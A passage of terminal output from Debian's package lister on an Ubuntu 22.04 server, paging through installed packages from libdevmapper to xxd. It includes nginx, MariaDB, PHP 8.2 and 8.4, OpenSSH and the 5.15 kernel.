ii libdevmapper-event1.02.1:amd64 2:1.02.175-2.1ubuntu5 >
ii libdevmapper1.02.1:amd64 2:1.02.175-2.1ubuntu5 >
ii libdns-export1110 1:9.11.19+dfsg-2.1ubuntu3 >
ii libdpkg-perl 1.21.1ubuntu2.6 >
ii libdrm-common 2.4.113-2~ubuntu0.22.04.1 >
ii libdrm2:amd64 2.4.113-2~ubuntu0.22.04.1 >
ii libdw1:amd64 0.186-1ubuntu0.1 >
ii libedit2:amd64 3.1-20210910-1build1 >
ii libefiboot1:amd64 37-6ubuntu2 >
ii libefivar1:amd64 37-6ubuntu2 >
ii libelf1:amd64 0.186-1ubuntu0.1 >
ii libencode-locale-perl 1.05-1.1 >
ii liberror-perl 0.17029-1 >
ii libestr0:amd64 0.1.10-2.1build3 >
ii libevdev2:amd64 1.12.1+dfsg-1 >
ii libevent-core-2.1-7:amd64 2.1.12-stable-1build3 >
ii libexpat1:amd64 2.4.7-1ubuntu0.7 >
ii libext2fs2:amd64 1.46.5-2ubuntu1.2 >
ii libfakeroot:amd64 1.28-1ubuntu1 >
ii libfastjson4:amd64 0.99.9-1build2 >
ii libfcgi-bin 2.4.2-2ubuntu0.1 >
ii libfcgi-perl:amd64 0.82+ds-1build1 >
ii libfcgi0ldbl:amd64 2.4.2-2ubuntu0.1 >
ii libfdisk1:amd64 2.37.2-4ubuntu3.5 >
ii libffi8:amd64 3.4.2-4 >
ii libfido2-1:amd64 1.10.0-1 >
ii libfile-fcntllock-perl 0.22-3build7 >
ii libflashrom1:amd64 1.2-5build1 >
ii libfontconfig1:amd64 2.13.1-4.2ubuntu5 >
ii libfreetype6:amd64 2.11.1+dfsg-1ubuntu0.3 >
ii libfribidi0:amd64 1.0.8-2ubuntu3.1 >
ii libftdi1-2:amd64 1.5-5build3 >
ii libfuse3-3:amd64 3.10.5-1build1 >
ii libfwupd2:amd64 1.7.9-1~22.04.3 >
ii libfwupdplugin5:amd64 1.7.9-1~22.04.3 >
ii libgav1-0:amd64 0.17.0-1build1 >
ii libgcab-1.0-0:amd64 1.4-3build2 >
ii libgcc-11-dev:amd64 11.4.0-1ubuntu1~22.04.3 >
ii libgcc-s1:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libgcrypt20:amd64 1.9.4-3ubuntu3 >
ii libgd3:amd64 2.3.3-13+ubuntu22.04.1+deb.sury.org+>
ii libgdbm-compat4:amd64 1.23-1 >
ii libgdbm6:amd64 1.23-1 >
ii libgirepository-1.0-1:amd64 1.72.0-1 >
ii libglib2.0-0:amd64 2.72.4-0ubuntu2.9 >
ii libglib2.0-bin 2.72.4-0ubuntu2.9 >
ii libglib2.0-data 2.72.4-0ubuntu2.9 >
ii libgmp10:amd64 2:6.2.1+dfsg-3ubuntu1 >
ii libgnutls30:amd64 3.7.3-4ubuntu1.8 >
ii libgomp1:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libgpg-error0:amd64 1.43-3 >
ii libgpgme11:amd64 1.16.0-1.2ubuntu4.2 >
ii libgpm2:amd64 1.20.7-10build1 >
ii libgssapi-krb5-2:amd64 1.19.2-2ubuntu0.7 >
ii libgstreamer1.0-0:amd64 1.20.3-0ubuntu1.1 >
ii libgudev-1.0-0:amd64 1:237-2build1 >
ii libgusb2:amd64 0.3.10-1 >
ii libheif1:amd64 1.12.0-2build1 >
ii libhogweed6:amd64 3.7.3-1build2 >
ii libhtml-parser-perl:amd64 3.76-1build2 >
ii libhtml-tagset-perl 3.20-4 >
ii libhtml-template-perl 2.97-1.1 >
ii libhttp-date-perl 6.05-1 >
ii libhttp-message-perl 6.36-1 >
ii libicu70:amd64 70.1-2 >
ii libidn2-0:amd64 2.3.2-2build1 >
ii libimagequant0:amd64 2.17.0-1 >
ii libimobiledevice6:amd64 1.3.0-6build3 >
ii libinih1:amd64 53-1ubuntu3 >
ii libintl-perl 1.26-3build2 >
ii libintl-xs-perl 1.26-3build2 >
ii libio-html-perl 1.004-2 >
ii libip4tc2:amd64 1.8.7-1ubuntu5.2 >
ii libip6tc2:amd64 1.8.7-1ubuntu5.2 >
ii libisc-export1105:amd64 1:9.11.19+dfsg-2.1ubuntu3 >
ii libisl23:amd64 0.24-2build1 >
ii libisns0:amd64 0.101-0ubuntu2 >
ii libitm1:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libjansson4:amd64 2.13.1-1.1build3 >
ii libjbig0:amd64 2.1-3.1ubuntu0.22.04.1 >
ii libjcat1:amd64 0.1.9-1 >
ii libjpeg-turbo8:amd64 2.1.2-0ubuntu1 >
ii libjpeg8:amd64 8c-2ubuntu10 >
ii libjson-c5:amd64 0.15-3~ubuntu1.22.04.2 >
ii libjson-glib-1.0-0:amd64 1.6.6-1build1 >
ii libjson-glib-1.0-common 1.6.6-1build1 >
ii libk5crypto3:amd64 1.19.2-2ubuntu0.7 >
ii libkeyutils1:amd64 1.6.1-2ubuntu3 >
ii libklibc:amd64 2.0.10-4ubuntu0.2 >
ii libkmod2:amd64 29-1ubuntu1.1 >
ii libkrb5-3:amd64 1.19.2-2ubuntu0.7 >
ii libkrb5support0:amd64 1.19.2-2ubuntu0.7 >
ii libksba8:amd64 1.6.0-2ubuntu0.2 >
ii libldap-2.5-0:amd64 2.5.20+dfsg-0ubuntu0.22.04.1 >
ii libldap-common 2.5.20+dfsg-0ubuntu0.22.04.1 >
ii liblmdb0:amd64 0.9.24-1build2 >
ii liblocale-gettext-perl 1.07-4build3 >
ii liblsan0:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libltdl-dev:amd64 2.4.6-15build2 >
ii libltdl7:amd64 2.4.6-15build2 >
ii liblvm2cmd2.03:amd64 2.03.11-2.1ubuntu5 >
ii liblwp-mediatypes-perl 6.04-1 >
ii liblz4-1:amd64 1.9.3-2build2 >
ii liblzma5:amd64 5.2.5-2ubuntu1 >
ii liblzo2-2:amd64 2.10-2build3 >
ii libmagic-mgc 1:5.41-3ubuntu0.1 >
ii libmagic1:amd64 1:5.41-3ubuntu0.1 >
ii libmariadb3:amd64 1:10.6.23-0ubuntu0.22.04.1 >
ii libmaxminddb0:amd64 1.5.2-1build2 >
ii libmbim-glib4:amd64 1.28.0-1~ubuntu20.04.2 >
ii libmbim-proxy 1.28.0-1~ubuntu20.04.2 >
ii libmd0:amd64 1.0.4-1build1 >
rc libmecab2:amd64 0.996-14build9 >
ii libmm-glib0:amd64 1.20.0-1~ubuntu22.04.4 >
ii libmnl0:amd64 1.0.4-3build2 >
ii libmodule-find-perl 0.15-1 >
ii libmodule-scandeps-perl 1.31-1ubuntu0.1 >
ii libmount1:amd64 2.37.2-4ubuntu3.5 >
ii libmpc3:amd64 1.2.1-2build1 >
ii libmpdec3:amd64 2.5.1-2build2 >
ii libmpfr6:amd64 4.1.0-3build3 >
ii libmspack0:amd64 0.10.1-2build2 >
ii libmysqlclient21:amd64 8.0.45-0ubuntu0.22.04.1 >
ii libncurses6:amd64 6.3-2ubuntu0.1 >
ii libncursesw6:amd64 6.3-2ubuntu0.1 >
ii libnetfilter-conntrack3:amd64 1.0.9-1 >
ii libnettle8:amd64 3.7.3-1build2 >
ii libnewt0.52:amd64 0.52.21-5ubuntu2 >
ii libnfnetlink0:amd64 1.0.1-3build3 >
ii libnftables1:amd64 1.0.2-1ubuntu3.1 >
ii libnftnl11:amd64 1.2.1-1build1 >
lines 325-347
ii libnghttp2-14:amd64 1.43.0-1ubuntu0.3 >
ii libnginx-mod-http-geoip2 1.18.0-6ubuntu14.10 >
ii libnginx-mod-http-image-filter 1.18.0-6ubuntu14.10 >
ii libnginx-mod-http-xslt-filter 1.18.0-6ubuntu14.10 >
ii libnginx-mod-mail 1.18.0-6ubuntu14.10 >
ii libnginx-mod-stream 1.18.0-6ubuntu14.10 >
ii libnginx-mod-stream-geoip2 1.18.0-6ubuntu14.10 >
ii libnl-3-200:amd64 3.5.0-0.1 >
ii libnl-genl-3-200:amd64 3.5.0-0.1 >
ii libnpth0:amd64 1.6-3build2 >
ii libnsl-dev:amd64 1.3.0-2build2 >
ii libnsl2:amd64 1.3.0-2build2 >
ii libnspr4:amd64 2:4.35-0ubuntu0.22.04.1 >
ii libnss-systemd:amd64 249.11-0ubuntu3.20 >
ii libnss3:amd64 2:3.98-0ubuntu0.22.04.3 >
ii libntfs-3g89 1:2021.8.22-3ubuntu1.3 >
ii libnuma1:amd64 2.0.14-3ubuntu2 >
ii libonig5:amd64 6.9.7.1-2build1 >
ii libopeniscsiusr 2.1.5-1ubuntu1.1 >
ii libp11-kit0:amd64 0.24.0-6build1 >
ii libpackagekit-glib2-18:amd64 1.2.5-2ubuntu3.1 >
ii libpam-cap:amd64 1:2.44-1ubuntu0.22.04.3 >
ii libpam-modules:amd64 1.4.0-11ubuntu2.6 >
ii libpam-modules-bin 1.4.0-11ubuntu2.6 >
lines 349-371
ii libpam-runtime 1.4.0-11ubuntu2.6 >
ii libpam-systemd:amd64 249.11-0ubuntu3.20 >
ii libpam0g:amd64 1.4.0-11ubuntu2.6 >
ii libparted-fs-resize0:amd64 3.4-2build1 >
ii libparted2:amd64 3.4-2build1 >
ii libpcap0.8:amd64 1.10.1-4ubuntu1.22.04.1 >
ii libpci3:amd64 1:3.7.0-6 >
ii libpcre2-8-0:amd64 10.42-3+ubuntu22.04.1+deb.sury.org+1>
ii libpcre3:amd64 2:8.45-1+ubuntu22.04.1+deb.sury.org+>
ii libperl5.34:amd64 5.34.0-3ubuntu1.5 >
ii libpipeline1:amd64 1.5.5-1 >
ii libplist3:amd64 2.2.0-6build2 >
ii libplymouth5:amd64 0.9.5+git20211018-1ubuntu3 >
ii libpng16-16:amd64 1.6.37-3ubuntu0.4 >
ii libpolkit-agent-1-0:amd64 0.105-33ubuntu0.1 >
ii libpolkit-gobject-1-0:amd64 0.105-33ubuntu0.1 >
ii libpopt0:amd64 1.18-3build1 >
ii libproc-processtable-perl:amd64 0.634-1build1 >
ii libprocps8:amd64 2:3.3.17-6ubuntu2.1 >
ii libpsl5:amd64 0.21.0-1.2build2 >
ii libpython3-stdlib:amd64 3.10.6-1~22.04.1 >
ii libpython3.10:amd64 3.10.12-1~22.04.15 >
ii libpython3.10-minimal:amd64 3.10.12-1~22.04.15 >
ii libpython3.10-stdlib:amd64 3.10.12-1~22.04.15 >
lines 373-395
ii libqmi-glib5:amd64 1.32.0-1ubuntu0.22.04.1 >
ii libqmi-proxy 1.32.0-1ubuntu0.22.04.1 >
ii libquadmath0:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libreadline8:amd64 8.1.2-1 >
ii librtmp1:amd64 2.4+20151223.gitfa8646d.1-2build4 >
ii libsasl2-2:amd64 2.1.27+dfsg2-3ubuntu1.2 >
ii libsasl2-modules:amd64 2.1.27+dfsg2-3ubuntu1.2 >
ii libsasl2-modules-db:amd64 2.1.27+dfsg2-3ubuntu1.2 >
ii libseccomp2:amd64 2.5.3-2ubuntu3~22.04.1 >
ii libselinux1:amd64 3.3-1build2 >
ii libsemanage-common 3.3-1build2 >
ii libsemanage2:amd64 3.3-1build2 >
ii libsepol2:amd64 3.3-1build1 >
ii libsgutils2-2:amd64 1.46-1ubuntu0.22.04.1 >
ii libsigsegv2:amd64 2.13-1ubuntu3 >
ii libslang2:amd64 2.3.2-5build4 >
ii libsmartcols1:amd64 2.37.2-4ubuntu3.5 >
ii libsmbios-c2 2.4.3-1build1 >
ii libsnappy1v5:amd64 1.1.8-1build3 >
ii libsodium23:amd64 1.0.18-1ubuntu0.22.04.1 >
ii libsort-naturally-perl 1.03-2 >
ii libsqlite3-0:amd64 3.37.2-2ubuntu0.5 >
ii libss2:amd64 1.46.5-2ubuntu1.2 >
ii libssh-4:amd64 0.9.6-2ubuntu0.22.04.7 >
lines 397-419
ii libssl3:amd64 3.0.2-0ubuntu1.23 >
ii libstdc++-11-dev:amd64 11.4.0-1ubuntu1~22.04.3 >
ii libstdc++6:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libstemmer0d:amd64 2.2.0-1build1 >
ii libsystemd0:amd64 249.11-0ubuntu3.20 >
ii libtasn1-6:amd64 4.18.0-4ubuntu0.2 >
ii libtcl8.6:amd64 8.6.12+dfsg-1build1 >
ii libterm-readkey-perl 2.38-1build4 >
ii libtext-charwidth-perl 0.04-10build3 >
ii libtext-iconv-perl 1.7-7build3 >
ii libtext-wrapi18n-perl 0.06-9 >
ii libtiff5:amd64 4.3.0-6ubuntu0.13 >
ii libtimedate-perl 2.3300-2 >
ii libtinfo6:amd64 6.3-2ubuntu0.1 >
ii libtirpc-common 1.3.2-2ubuntu0.1 >
ii libtirpc-dev:amd64 1.3.2-2ubuntu0.1 >
ii libtirpc3:amd64 1.3.2-2ubuntu0.1 >
ii libtool 2.4.6-15build2 >
ii libtsan0:amd64 11.4.0-1ubuntu1~22.04.3 >
ii libtss2-esys-3.0.2-0:amd64 3.2.0-1ubuntu1.1 >
ii libtss2-mu0:amd64 3.2.0-1ubuntu1.1 >
ii libtss2-sys1:amd64 3.2.0-1ubuntu1.1 >
ii libtss2-tcti-cmd0:amd64 3.2.0-1ubuntu1.1 >
ii libtss2-tcti-device0:amd64 3.2.0-1ubuntu1.1 >
lines 421-443
ii libtss2-tcti-mssim0:amd64 3.2.0-1ubuntu1.1 >
ii libtss2-tcti-swtpm0:amd64 3.2.0-1ubuntu1.1 >
ii libubsan1:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libuchardet0:amd64 0.0.7-1build2 >
ii libudev1:amd64 249.11-0ubuntu3.20 >
ii libudisks2-0:amd64 2.9.4-1ubuntu2.3 >
ii libunistring2:amd64 1.0-1 >
ii libunwind8:amd64 1.3.2-2build2.1 >
ii libupower-glib3:amd64 0.99.17-1 >
ii liburcu8:amd64 0.13.1-1 >
ii liburi-perl 5.10-1 >
ii liburing2:amd64 2.1-2build1 >
ii libusb-1.0-0:amd64 2:1.0.25-1ubuntu2 >
ii libusbmuxd6:amd64 2.0.2-3build2 >
ii libutempter0:amd64 1.2.1-2build2 >
ii libuuid1:amd64 2.37.2-4ubuntu3.5 >
ii libuv1:amd64 1.43.0-1ubuntu0.1 >
ii libvolume-key1 0.3.12-3.1build3 >
ii libwebp7:amd64 1.2.2-2ubuntu0.22.04.2 >
ii libwrap0:amd64 7.6.q-31build2 >
ii libx11-6:amd64 2:1.7.5-1ubuntu0.3 >
ii libx11-data 2:1.7.5-1ubuntu0.3 >
ii libx265-199:amd64 3.5-2 >
ii libxau6:amd64 1:1.0.9-1build5 >
lines 445-467
ii libxcb1:amd64 1.14-3ubuntu3 >
ii libxdmcp6:amd64 1:1.1.3-0ubuntu5 >
ii libxext6:amd64 2:1.3.4-1build1 >
ii libxml2:amd64 2.9.14+dfsg-0.1+ubuntu22.04.1+deb.su>
ii libxmlb2:amd64 0.3.6-2build1 >
ii libxmlsec1:amd64 1.2.33-1build2 >
ii libxmlsec1-openssl:amd64 1.2.33-1build2 >
ii libxmuu1:amd64 2:1.1.3-3 >
ii libxpm4:amd64 1:3.5.12-1ubuntu0.22.04.2 >
ii libxslt1.1:amd64 1.1.34-4ubuntu0.22.04.5 >
ii libxtables12:amd64 1.8.7-1ubuntu5.2 >
ii libxxhash0:amd64 0.8.1-1 >
ii libyaml-0-2:amd64 0.2.2-1build2 >
ii libyuv0:amd64 0.0~git20220104.b91df1a-2 >
ii libzip4:amd64 1.7.3-1ubuntu2 >
ii libzstd1:amd64 1.4.8+dfsg-3build1 >
ii linux-base 4.5ubuntu9+22.04.1 >
ii linux-firmware 20220329.git681281e4-0ubuntu3.42 >
ii linux-generic 5.15.0.177.162 >
ii linux-headers-5.15.0-177 5.15.0-177.187 >
ii linux-headers-5.15.0-177-generic 5.15.0-177.187 >
ii linux-headers-generic 5.15.0.177.162 >
ii linux-image-5.15.0-177-generic 5.15.0-177.187 >
ii linux-image-generic 5.15.0.177.162 >
lines 469-491
ii linux-libc-dev:amd64 5.15.0-177.187 >
ii linux-modules-5.15.0-177-generic 5.15.0-177.187 >
ii linux-modules-extra-5.15.0-177-generic 5.15.0-177.187 >
ii locales 2.35-0ubuntu3.13 >
ii login 1:4.8.1-2ubuntu2.2 >
ii logrotate 3.19.0-1ubuntu1.1 >
ii logsave 1.46.5-2ubuntu1.2 >
ii lsb-base 11.1.0ubuntu4 >
ii lsb-release 11.1.0ubuntu4 >
ii lshw 02.19.git.2021.06.19.996aaad9c7-2ubu>
ii lsof 4.93.2+dfsg-1.1build2 >
ii lto-disabled-list 24 >
ii lvm2 2.03.11-2.1ubuntu5 >
ii lxd-agent-loader 0.5 >
ii m4 1.4.18-5ubuntu2 >
ii mailcap 3.70+nmu1ubuntu1 >
ii make 4.3-4.1build1 >
ii man-db 2.10.2-1 >
ii manpages 5.10-1ubuntu1 >
ii manpages-dev 5.10-1ubuntu1 >
ii mariadb-client 1:10.6.23-0ubuntu0.22.04.1 >
ii mariadb-client-10.6 1:10.6.23-0ubuntu0.22.04.1 >
ii mariadb-client-core-10.6 1:10.6.23-0ubuntu0.22.04.1 >
ii mariadb-common 1:10.6.23-0ubuntu0.22.04.1 >
lines 493-515
ii mariadb-server 1:10.6.23-0ubuntu0.22.04.1 >
ii mariadb-server-10.6 1:10.6.23-0ubuntu0.22.04.1 >
ii mariadb-server-core-10.6 1:10.6.23-0ubuntu0.22.04.1 >
ii mawk 1.3.4.20200120-3 >
ii mdadm 4.2-0ubuntu2 >
ii media-types 7.0.0 >
ii mime-support 3.66 >
ii modemmanager 1.20.0-1~ubuntu22.04.4 >
ii motd-news-config 12ubuntu4.7 >
ii mount 2.37.2-4ubuntu3.5 >
ii mtr-tiny 0.95-1 >
ii multipath-tools 0.8.8-1ubuntu1.22.04.4 >
ii mysql-common 5.8+1.0.8 >
rc mysql-server-8.0 8.0.45-0ubuntu0.22.04.1 >
ii nano 6.2-1ubuntu0.1 >
ii ncurses-base 6.3-2ubuntu0.1 >
ii ncurses-bin 6.3-2ubuntu0.1 >
ii ncurses-term 6.3-2ubuntu0.1 >
ii needrestart 3.5-5ubuntu2.5 >
ii net-tools 1.60+git20181103.0eebece-1ubuntu5.4 >
ii netbase 6.3 >
ii netcat-openbsd 1.218-4ubuntu1 >
ii networkd-dispatcher 2.1-2ubuntu0.22.04.2 >
ii nftables 1.0.2-1ubuntu3.1 >
lines 517-539
ii nginx 1.18.0-6ubuntu14.10 >
ii nginx-common 1.18.0-6ubuntu14.10 >
ii nginx-core 1.18.0-6ubuntu14.10 >
ii ntfs-3g 1:2021.8.22-3ubuntu1.3 >
ii open-iscsi 2.1.5-1ubuntu1.1 >
ii open-vm-tools 2:12.3.5-3~ubuntu0.22.04.3 >
ii openssh-client 1:8.9p1-3ubuntu0.15 >
ii openssh-server 1:8.9p1-3ubuntu0.15 >
ii openssh-sftp-server 1:8.9p1-3ubuntu0.15 >
ii openssl 3.0.2-0ubuntu1.23 >
ii os-prober 1.79ubuntu2 >
ii overlayroot 0.47ubuntu1 >
ii packagekit 1.2.5-2ubuntu3.1 >
ii packagekit-tools 1.2.5-2ubuntu3.1 >
ii parted 3.4-2build1 >
ii passwd 1:4.8.1-2ubuntu2.2 >
ii pastebinit 1.5.1-1ubuntu1 >
ii patch 2.7.6-7build2 >
ii pci.ids 0.0~2022.01.22-1ubuntu0.1 >
ii pciutils 1:3.7.0-6 >
ii perl 5.34.0-3ubuntu1.5 >
ii perl-base 5.34.0-3ubuntu1.5 >
ii perl-modules-5.34 5.34.0-3ubuntu1.5 >
ii php 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
lines 541-563
ii php-common 2:101~+ubuntu22.04.1+deb.sury.org+1 >
ii php-curl 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php-fpm 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php-gd 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php-intl 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php-mbstring 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php-mysql 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php-xml 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php-zip 2:8.4+101~+ubuntu22.04.1+deb.sury.or>
ii php8.2 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-bcmath 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-cli 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-common 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-curl 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-fpm 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-gd 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-intl 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-mbstring 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-mysql 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-opcache 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-readline 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-xml 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.2-zip 8.2.30-3+ubuntu22.04.1+deb.sury.org+>
ii php8.4 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
lines 565-587
ii php8.4-cli 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-common 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-curl 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-fpm 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-gd 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-intl 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-mbstring 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-mysql 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-opcache 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-readline 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-xml 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii php8.4-zip 8.4.20-1+ubuntu22.04.1+deb.sury.org+>
ii pinentry-curses 1.1.1-1build2 >
ii pkexec 0.105-33ubuntu0.1 >
ii pkg-config 0.29.2-1ubuntu3 >
ii plymouth 0.9.5+git20211018-1ubuntu3 >
ii plymouth-theme-ubuntu-text 0.9.5+git20211018-1ubuntu3 >
ii policykit-1 0.105-33ubuntu0.1 >
ii polkitd 0.105-33ubuntu0.1 >
ii pollinate 4.33-3ubuntu2.3 >
ii powermgmt-base 1.36ubuntu0.22.04.1 >
ii procps 2:3.3.17-6ubuntu2.1 >
ii psmisc 23.4-2build3 >
ii publicsuffix 20211207.1025-1 >
lines 589-611
ii python-apt-common 2.4.0ubuntu4.1 >
ii python3 3.10.6-1~22.04.1 >
ii python3-apport 2.20.11-0ubuntu82.10 >
ii python3-apt 2.4.0ubuntu4.1 >
ii python3-attr 21.2.0-1ubuntu1 >
ii python3-automat 20.2.0-1 >
ii python3-bcrypt 3.2.0-1build1 >
ii python3-blinker 1.4+dfsg1-0.4 >
ii python3-cffi-backend:amd64 1.15.0-1build2 >
ii python3-chardet 4.0.0-1 >
ii python3-click 8.0.3-1 >
ii python3-colorama 0.4.4-1 >
ii python3-commandnotfound 22.04.0 >
ii python3-configobj 5.0.6-5ubuntu0.1 >
ii python3-constantly 15.1.0-2 >
ii python3-cryptography 3.4.8-1ubuntu2.4 >
ii python3-dbus 1.2.18-3build1 >
ii python3-debconf 1.5.79ubuntu1 >
ii python3-debian 0.1.43ubuntu1.1 >
ii python3-distro 1.7.0-1 >
ii python3-distro-info 1.1ubuntu0.2 >
ii python3-distupgrade 1:22.04.20 >
ii python3-distutils 3.10.8-1~22.04 >
ii python3-gdbm:amd64 3.10.8-1~22.04 >
lines 613-635
ii python3-gi 3.42.1-0ubuntu1 >
ii python3-hamcrest 2.0.2-2 >
ii python3-httplib2 0.20.2-2 >
ii python3-hyperlink 21.0.0-3 >
ii python3-idna 3.3-1ubuntu0.1 >
ii python3-importlib-metadata 4.6.4-1 >
ii python3-incremental 21.3.0-1 >
ii python3-jeepney 0.7.1-3 >
rc python3-json-pointer 2.0-0ubuntu1 >
rc python3-jsonpatch 1.32-2 >
rc python3-jsonschema 3.2.0-0ubuntu2 >
ii python3-jwt 2.3.0-1ubuntu0.3 >
ii python3-keyring 23.5.0-1 >
ii python3-launchpadlib 1.10.16-1 >
ii python3-lazr.restfulclient 0.14.4-1 >
ii python3-lazr.uri 1.0.6-2 >
ii python3-lib2to3 3.10.8-1~22.04 >
ii python3-magic 2:0.4.24-2 >
ii python3-minimal 3.10.6-1~22.04.1 >
ii python3-more-itertools 8.10.0-2 >
ii python3-netifaces:amd64 0.11.0-1build2 >
ii python3-newt:amd64 0.52.21-5ubuntu2 >
ii python3-oauthlib 3.2.0-1ubuntu0.1 >
ii python3-openssl 21.0.0-1ubuntu0.1 >
lines 637-659
ii python3-packaging 21.3-1 >
ii python3-pexpect 4.8.0-2ubuntu1 >
ii python3-pkg-resources 59.6.0-1.2ubuntu0.22.04.3 >
ii python3-problem-report 2.20.11-0ubuntu82.10 >
ii python3-ptyprocess 0.7.0-3 >
ii python3-pyasn1 0.4.8-1ubuntu0.2 >
ii python3-pyasn1-modules 0.2.1-1 >
ii python3-pyparsing 2.4.7-1 >
ii python3-secretstorage 3.3.1-1 >
ii python3-serial 3.5-1 >
ii python3-service-identity 18.1.0-6 >
ii python3-setuptools 59.6.0-1.2ubuntu0.22.04.3 >
ii python3-six 1.16.0-3ubuntu1 >
ii python3-software-properties 0.99.22.9 >
ii python3-systemd 234-3ubuntu2 >
ii python3-twisted 22.1.0-2ubunt u2.6 >
ii python3-update-manager 1:22.04.22 >
ii python3-wadllib 1.3.6-1 >
ii python3-xkit 0.5.0ubuntu5 >
ii python3-yaml 5.4.1-1ubuntu1 >
ii python3-zipp 1.0.0-3ubuntu0.1 >
ii python3-zope.interface 5.4.0-1build1 >
ii python3.10 3.10.12-1~22.04.15 >
ii python3.10-minimal 3.10.12-1~22.04.15 >
lines 661-683
ii readline-common 8.1.2-1 >
ii rpcsvc-proto 1.4.2-0ubuntu6 >
ii rsync 3.2.7-0ubuntu0.22.04.4 >
ii rsyslog 8.2112.0-2ubuntu2.2 >
ii run-one 1.17-0ubuntu1 >
ii sbsigntool 0.9.4-2ubuntu2 >
ii screen 4.9.0-1ubuntu0.1 >
ii secureboot-db 1.8 >
ii sed 4.8-1ubuntu2.1 >
ii sensible-utils 0.0.17 >
ii sg3-utils 1.46-1ubuntu0.22.04.1 >
ii sg3-utils-udev 1.46-1ubuntu0.22.04.1 >
ii shared-mime-info 2.1-2 >
ii snapd 2.74.1+ubuntu22.04.4 >
ii socat 1.7.4.1-3ubuntu4 >
ii software-properties-common 0.99.22.9 >
ii sosreport 4.10.2-0ubuntu0~22.04.1 >
ii squashfs-tools 1:4.5-3build1 >
ii ssh-import-id 5.11-0ubuntu1 >
ii strace 5.16-0ubuntu3 >
ii sudo 1.9.9-1ubuntu2.6 >
ii systemd 249.11-0ubuntu3.20 >
ii systemd-hwe-hwdb 249.11.6 >
ii systemd-sysv 249.11-0ubuntu3.20 >
lines 685-707
ii systemd-timesyncd 249.11-0ubuntu3.20 >
ii sysvinit-utils 3.01-1ubuntu1 >
ii tar 1.34+dfsg-1ubuntu0.1.22.04.2 >
ii tcl 8.6.11+1build2 >
ii tcl8.6 8.6.12+dfsg-1build1 >
ii tcpd 7.6.q-31build2 >
ii tcpdump 4.99.1-3ubuntu0.2 >
hi telnet 0.17-44build1 >
ii thermald 2.4.9-1ubuntu0.4 >
ii thin-provisioning-tools 0.9.0-2ubuntu1 >
ii time 1.9-0.1build2 >
ii tmux 3.2a-4ubuntu0.2 >
ii tnftp 20210827-4build1 >
ii tpm-udev 0.6 >
ii tzdata 2026a-0ubuntu0.22.04.1 >
ii ubuntu-advantage-tools 37.2ubuntu~22.04 >
ii ubuntu-drivers-common 1:0.9.6.2~0.22.04.11 >
ii ubuntu-keyring 2021.03.26 >
ii ubuntu-pro-client 37.2ubuntu~22.04 >
ii ubuntu-pro-client-l10n 37.2ubuntu~22.04 >
ii ubuntu-release-upgrader-core 1:22.04.20 >
ii ubuntu-server 1.481.5 >
ii ubuntu-standard 1.481.5 >
ii ucf 3.0043 >
lines 709-731
ii udev 249.11-0ubuntu3.20 >
ii udisks2 2.9.4-1ubuntu2.3 >
ii unzip 6.0-26ubuntu3.2 >
ii update-inetd 4.51 >
ii update-manager-core 1:22.04.22 >
ii update-notifier-common 3.192.54.8 >
ii upower 0.99.17-1 >
ii usb-modeswitch 2.6.1-3ubuntu2 >
ii usb-modeswitch-data 20191128-4 >
ii usb.ids 2022.04.02-1 >
ii usbmuxd 1.1.1-2ubuntu0.1 >
ii usbutils 1:014-1build1 >
ii usrmerge 25ubuntu2 >
ii util-linux 2.37.2-4ubuntu3.5 >
ii uuid-runtime 2.37.2-4ubuntu3.5 >
ii vim 2:8.2.3995-1ubuntu2.28 >
ii vim-common 2:8.2.3995-1ubuntu2.28 >
ii vim-runtime 2:8.2.3995-1ubuntu2.28 >
ii vim-tiny 2:8.2.3995-1ubuntu2.28 >
ii wget 1.21.2-2ubuntu1.1 >
ii whiptail 0.52.21-5ubuntu2 >
ii wireless-regdb 2025.10.07-0ubuntu1~22.04.1 >
ii xauth 1:1.1-1build2 >
ii xdg-user-dirs 0.17-2ubuntu4 >
lines 733-755
ii xfsprogs 5.13.0-1ubuntu2.1 >
ii xkb-data 2.33-1 >
ii xxd 2:8.2.3995-1ubuntu2.28 >
